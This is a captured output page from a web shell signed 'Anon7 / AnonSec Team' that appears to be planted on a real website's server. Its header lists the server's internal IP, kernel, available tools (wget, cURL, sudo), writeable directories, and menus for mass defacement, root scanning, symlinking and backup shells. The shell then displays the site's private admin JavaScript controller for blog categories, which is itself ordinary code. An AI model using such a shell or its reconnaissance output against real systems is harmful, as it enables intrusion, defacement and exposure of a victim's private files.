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/  Your IP : 172.31.12.187   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ripara.co/admin/js/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ripara.co/admin/js/controllers/categorie.js
materialAdmin
    

    //=================================================
    // Controller Lista Utenti e Inserimento Utente
    //=================================================

.controller('categoriablogCtrl', function($filter, $sce, $scope, ngTableParams, tableService, APIService, animationService) {
       
this.animationService = animationService;

$scope.elencoCampi=['Nome Categoria','Foto Categoria'];
$scope.elencoChiavi = ['nomecategoria','fotocategoria'];
//questa funzione fixa il problema delle chiavi con spazi o caratteri speciali nell'ordinamento delle tabelle
//utile per le alias colonne es. Numero Chiamante
$scope.rawProperty = function(key) {
    return function(item) {
        if ((key == "EndTime" || key == "StartTime" || key == "AnswerTime" || key == "AlertingTime")) {
            return item[key]['sec'];
            }
        return item[key];
    };
};
this.categoriaInsert = {
        'idcategoria': '',
        'nomecategoria': ''
    };


        //Caricament dati da API REST
        this.getData = function (){

            APIService.async({method: "getcategorieblog"}).then(function(adata) {

                if(adata.status && adata.message.length){

                    //assegno i dati ricevuti a data
                    var data = adata.message;

                    //aggiorno la variabile per ng-repeat della tabella
                    $scope.acatctrl.data = data;
                    //instanzio la ng-table
                    $scope.acatctrl.tableCategoria = new ngTableParams({
                        page: 1,            // show first page
                        count: 10
                    }, 
                    {
                        total: data.length,// $scope.data.length, // length of data
                        getData: function($defer, params) {
                        //controllo se esisteno paramentri che si chiamamo orderby, all'onclick ordino per quel campo
                        if (params.sorting()['orderBy'] != undefined) {
                            //aggiungo la substr perchè il primo carattere viene messo random, altrimenti ordinerebbe sempre DESC visto che se è ordinata per una qualsiasi colonna non fa più ordinare per la stessa
                            var orderedData = $filter('orderBy')(data, $scope.rawProperty(params.sorting()['orderBy'].substr(1)),
                                $scope.acatctrl.isSortBy);
                            $scope.acatctrl.isSortBy = !$scope.acatctrl.isSortBy;
                            //ok ma non funziona con le key con spazi o punti
                            //var orderedData = $filter('orderBy')(data, params.sorting()['orderBy']);
                        } else {
                            var orderedData = data;
                        }
                        //verifico se sono definiti filtri
                        //orderedData = $filter('filterFailed')(orderedData, $scope.showOnlyFailed);
                        if (params.sorting()['filter'] != undefined) {
                            var chiave = params.sorting()['filter'].key;
                            var value = params.sorting()['filter'].value;
                            var tmpSrc = {};
                            tmpSrc[chiave] = value;
                            orderedData = $filter('filter')(orderedData, tmpSrc);
                        }
                        params.total(orderedData.length); // set total for recalc pagination
                        $defer.resolve(orderedData.slice((params.page() - 1) * params.count(), params.page() * params.count()));
                    }
                });
               
                }else{
                    
                    animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di carimento dei dati, si prega di aggiornare la pagina!");

                }

            });
        };

        this.getData();

        //Insert , @Peodacontrollare
        this.newCategoria = 0;

        this.submitCategoria = function() {            
            this.categoriaInsert.method = "insertcategoriablog";
            APIService.async(this.categoriaInsert).then(function(adata) {
                if(adata.status){
                    $scope.acatctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.acatctrl.categoriaInsert){
                        $scope.acatctrl.categoriaInsert[x] = "";
                    }
                    //nascondo il menu inserimento
                    $scope.acatctrl.newCategoria = 0;
                    swal(adata.message, "success");
            
                }else{
                    $scope.acatctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Errore in fase di aggiornamento dei dati, si prega di aggiornare la pagina!");
                }
            });
        }



        this.modificaCategoria = function () {
            
            this.categoriaEdit.method = "editcategoriablog";
            APIService.async(this.categoriaEdit).then(function(adati) { 
                if(adati.status){
                    $scope.acatctrl.getData();
                    //svuoto i valori precedenti
                    for(x in $scope.acatctrl.categoriaEdit){
                        $scope.acatctrl.categoriaEdit[x] = "";
                    }
                    //nascondo il menu inserimento
                    $scope.acatctrl.editCategoria = 0;
                    swal(adati.message, "success");
                }else{
                    $scope.acatctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, adati.message);
                }
            });
        }


        this.cancellaCategoria = function (dati) {
            swal({   
                title: "Sei sicuro di voler cancellare la categoria '"+dati.nomecategoria+"' ?",   
                text: "L'azione eseguita sarà irreversibile!",   
                type: "warning",   
                showCancelButton: true,   
                confirmButtonColor: "#DD6B55",   
                confirmButtonText: "Si, cancellala!",   
                closeOnConfirm: false 
            }, function(){   

                dati.$edit = false;
                dati.method = "deletecategoriablog"; 
                APIService.async(dati).then(function(adati) { 
                    if(adati.status){
                        swal(adati.message, "Categoria eliminata con successo!", "success");
                        $scope.acatctrl.getData();
                    }else{
                        $scope.acatctrl.animationService.setAnimationJam("bounceInDown", "alert-red", false, "Non puoi cancellare questa categoria perchè ci sono altri elementi legati ad essa!");
                    }
                });

            });
        }



        //per insert
        this.aggiornaImgInsert= function(){
         //setto l'immagine in real time
                var fileInput = $('#foto-input');
                var file = fileInput[0].files[0];

                this.categoriaInsert.upload = file;

                var imageType = /image.*/;

                if (file.type.match(imageType)) {
                    var reader = new FileReader();

                    reader.addEventListener("load", function () {
                        $scope.acatctrl.categoriaInsert.previewImage = this.result;
                        $('#mock').click();
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }
                    
                    
        }

        //per insert
        this.aggiornaImgUpdate= function(){
         //setto l'immagine in real time
                var fileInput = $('#foto-input');
                var file = fileInput[0].files[0];

                this.categoriaEdit.upload = file;
                this.categoriaEdit.newfoto = 1;

                var imageType = /image.*/;

                if (file.type.match(imageType)) {
                    var reader = new FileReader();

                    reader.addEventListener("load", function () {
                        $scope.acatctrl.categoriaEdit.previewImage = this.result;
                        $('#mock').click();
                    }, false);

                    reader.readAsDataURL(file); 
                } else {
                    alert("File non supportato!");
                }
                    
                    
        }


        this.categoriaEdit = {};

        $scope.editCategoria = function(w){
            $scope.acatctrl.categoriaEdit.nomecategoria = w.nomecategoria;
            $scope.acatctrl.categoriaEdit.previewImage = w.fotocategoria; 
            $scope.acatctrl.categoriaEdit.idcategoria = w.idcategoria;
            $scope.acatctrl.editCategoria = 1;

        }

        


    })

  

Anon7 - 2022
AnonSec Team